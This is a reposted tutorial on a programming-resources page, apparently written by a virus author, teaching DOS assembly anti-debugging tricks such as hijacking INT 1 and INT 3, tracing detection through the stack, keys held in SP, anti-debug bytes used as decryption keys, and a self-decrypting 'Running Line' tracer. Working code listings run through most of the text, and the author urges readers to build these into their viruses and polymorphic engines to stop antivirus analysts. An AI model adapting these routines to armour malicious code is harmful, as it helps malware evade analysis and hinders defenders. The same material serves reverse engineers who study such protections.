programmers resources  (c)2019
Search :  
Lingua Italiana    English Language   
just an empty assembly space
just an arrow Intel Platform
just an arrow Article & Guides
just an arrow Download Software

23/01/2009 Featured Article: How to remove Buzus Virus (permalink)

Bottone Scambio Directory
Home Page | Articles & Guides | Download | Intel Platform | Contacts


Bookmark and Share
Tell a friend

Anti-Debugger Techniques

Assembler techniques for protecting code

(by anonymous)

A handfull of methods against debugging:
  • Interrupt Replacement
  • INT 1 Tracing Destroys the Stack
  • Store a critical value in SP
  • Use Your Anti-Debug Routines as The Decrypt Key
  • The Running Line

This article is online from 3938 days and has been seen 5933 times

Anti-Debugger Techniques


Ok, now the AV can not even get your virus to infect their bait
files, and if they do finally manage, they will have great problems in
getting a complete, accurate view of what they are dealing with. There
is two things they can do:

1. Disassemble your Anti-Bait code, and create a Bait maker to fool it.
2. Disassemble your Polymorphic engine, and work out what to look for.

Both of the above can be defeated by using Anti-Debugger
Techniques. The first is defeated by keeping your Anti - Bait routines
encrypted, and heavilly armoured, to prevent disassembly. The second can
be defeated by using the same methods on your polymorphic engine. This
section has been designed to tell you how to do it.

Anti-Debugger Techniques: The Obvious
There are many simple and trivial ways to thwart debuggers. This
document will deal mainly with more advanced methods. The simple methods
outlined in this section can be seen in the code example of "Using Your
Anti-Debug Routines as the Decryption Key", later on in this document.

Perhaps the most obvious way to kill a debugger, is to overwrite
the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug
Break Point). This can be defeated by simply skipping the instructions.
Another thing you could do, is place an INT 3 in a long loop, which will
cause the debugger to stop at the INT 3 each iteration, which will stop
the AV from simply proceeding through the loop. This is very easilly
defeated by NOP'ing out the INT 3.

Another thing to do, is turn of the keyboard. There are manyways
to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ
OR AL,02

<virus code>

IN AL,20 ;Enable Keyboard IRQ

Anti-Debugger Techniques: Interrupt Replacement
This technique involves replacing the vector of a INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of INT
replacement from the virus [H8urNMEs]. It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:

mov ax,3503
int 21

mov int_3_seg,es
mov int_3_off,bx

lds dx, site_traced_off
mov ax,2503
int 21

mov ds,cs

mov ax,3524
int 3

mov int_24_seg,es
mov int_24_off,bx

It simply makes INT 3 point to DOS, and uses this fact to fetch
the INT 24 vector.

Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack

When tracing through code, with INT 1, the 6 bytes below SP are
overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
to take advantage of this fact. The first is to PUSH a value on to the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:

POP BX ;BX should point to the pushed AX.

The second way is to store a critigal value like a Decryption
key in SP. This value should also point to the code, and you should NOT
use any stack operations. This way, if a debugger is running, the code
that SP points to will be overwritten. Here is a complete program to
illustrate it. To make it run properly, you must have to encrypt it. I
will not how you how.. If you can not work it out you should not even be
reading this. It also has the added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:

radix 16

elength equ (end - estart)/2

org 100

mov bp,sp
mov sp,estart

mov bx,sp
mov cx,elength

eloop: xor cs:[bx],sp ;SP is decryption key.
inc bx
inc bx ;If a Debugger is running,
cli ;All the code after ESTART will be
add sp,6 ;overwritten.
loop eloop

mov sp,bp

mov ah,9
mov dx,offset msg - 12
add dx,12
int 21
mov ah,4c
int 21

msg db 'Yeah!!$'



Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key
This is a lot easier to do then it sounds. Basically, all you have
to do is retreive a byte from the Anti - Debugger routines each time, and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:

;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.

mov dl,0aa ;initial key.

decrypt: mov di,offset dec_start
mov cx,dec_length
mov si,offset decrypt ;offset of code to use
;to modify decryption key.
dec_loop: lodsb ;AL=byte from anti-debug

add dl,al ;MODIFY KEY. If code has been
;modified, the key will be

xor [di],dl ;decrypt
inc di

call anti_debug ;kill debuggers.
;this call cant be NOP'd out,
;as it is part of the Decrypt

cmp si,offset end_ad ;if SI has reached end of
jne no_fix ;anti-debug code, reset it.
mov si,offset decrypt

no_fix: loop dec_loop

jmp dec_start ;JMP past Anti_Debug to
;the newly decrypted code..

Anti_Debug: in al,20 ;get IRQ status.
or al,2 ;Disable IRQ 1 (keyboard)
out 20,al

int 3 ;stop the debugger on each loop (you cant
int 3 ;NOP these out!), note that when the debugger
;stops here, the keyboard will be disabled,
;so the can't do any thing!

push ax
push ds
xor ax,ax
mov ds,ax
xchg ax,[4] ;Kill INT 1
int 3 ;Fuck with their heads
xchg ax,[4] ;restore INT 1
pop ds

mov ax,offset ad_jmp ;destination of JMP
push ax
pop ax
dec ax
dec ax ;if this code was traced, AX will no longer
pop ax ;be equal to the JMP destination
jmp ax
pop ax

dec_start: in al,20
and al,NOT 2
out 20,al ;Re-Enable Key board..



Anti-Debugger Techniques: The Running Line
The last method, I am going to illustrate, is called the Running
Line. It is VERY resistant to debuggers. It involves hooking INT 1, and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.


radix 16

org 100

xor ax,ax ;ax=0
mov es,ax ;es=ax=0
mov di,es:W[4]
mov si,es:W[6] ;save int 1 vector
mov es:W[4],offset tracer
mov es:W[6],cs ;int1 = cs:tracer
mov bp,sp
or B[bp-1],1 ;set TRACE flag
popf ;set it

xor dx,dx ;this serves no purpose, and
;is just here because the first
;instruction after setting the
;flag is not traced.

;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's **
;** run). Thats why each word is XOR'd with $ (it's position). **

dw 01f0e XOR $ ;PUSH CS / POP DS
dw 009b4 XOR $ ;MOV AH,9h
dw 0ba90 XOR $ ;NOP / MOV DX,
dw offset msg ;offset msg
dw 021cd XOR $ ;INT 21h
dw 0e589 XOR $ ;MOV BP,SP
dw 06680 XOR $ ;AND B[BP+,
dw 0feff ;FF],FE (turn off TRACE flag).

last_enc equ $
dw 0bb9d XOR $ ;POPF / MOV BX,
dw last_enc ;LAST_ENC

xor cs:W[bx],bx ;re-encrypt last instruction..

mov es:W[4],di
mov es:W[6],si ;restore int 1 vector

mov ah,4c
int 21

;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.

;** The following procedure, is the work horse of this code. The CPU **
;** will call this INT 1 handler before each opcode as long as the **
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
;** virii, this contains no defensive traps. This is because we are **
;** tracing our own code, and not unknown (possibly hostile) code. **
;** It retrieves the calling IP from the stack, and if it is odd, **
;** exits. If even, it will re-encrypt the previous instruction, and **
;** decrypt the current one. It saves the calling IP, so that it can **
;** re-encrypt it when it is called for the next instruction. **

push bp ;save BP
mov bp,sp ;BP=SP for reference point of stack.
push si ;save SI
mov bp,W[bp+2] ;BP = calling IP (position of
;encrypted instruction).
test bp,1 ;check if on an odd boundry..
jnz is_odd ;it is so leave.
mov si,cs:last ;else get the position of the last
;decrypted instruction to reincrypt.
mov cs:last,bp ;save current position for next time.
xor cs:W[si],si ;re-encrypt last (XOR it with its IP)
xor cs:W[bp],bp ;decrypt current (XOR it with its IP)
pop si ;restore SI
pop bp ;restore BP
iret ;adeos!

last dw 0 ;last IP for re-encrpytion..
msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!!



I STRONGLY urge you to employ the above techniques in your virii
and/or poly engine. If your virus refuses to infect bait files, is VERY
heavilly armoured, so the can not decrypt it, and dissasemble it, and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorith for such a virus would be _VERY_ difficult.

Thank you reading this article. I hope it's been as interesting
to read as it has been to write!! Hopefully, we will be seeing the AV
having to work _ALOT_ harder for their money too ;). Alternitively, this
could be some help to the AV community, so they can see what lies ahead.

If you have any questions, comments, critisms, or new ideas, you
can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or
'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!').

- THE - END -

Tell a friend
Bookmark and Share

Similar Articles

Anti Debugging Tricks Analysis
Notes by M.Forrest on 'Anti Debugging Tricks'
(by Michael Forrest)

Anti Debugging Tricks Rel.2
Tecniche di Antidebug in assembler
(by Inbar Raz)

Anti Debugging Tricks Rel.5
Antidebugging techniques
(by Inbar Raz)

Applied Binary Code Obfuscation
Obfuscation in assembler
(by N.George, G.Charalambous)

Binary Protection Schemes
Code Protection under Linux
(by Andrew Griffiths)

Code Concealment
Come sigillare il proprio codice
(by Demogorgon)

Keep Your Code Hidden From Prying Eyes
Tecniche di back-jump nel codice
(by Demogorgon)

Reverse engineering: Anti-cracking Techniques
How to protect your code in 24 pages
(by N.George, G.Charalambous)

Windows Anti-Debug Reference
Several anti-debugging techniques used on Windows
(by Nicolas Falliere)

Writing Self-Modifying Code
Utilizing Advanced Assembly techniques
(by Russell Sanford)

 Tags: antidebug

webmaster jes
writers rguru, tech-g, aiguru, drAx

site optimized for IE/Firefox/Chrome with 1024x768 resolution

Valid HTML 4.01 Transitional


hosting&web -

find rguru on
... send an email ...
Your name

Destination email


captcha! Code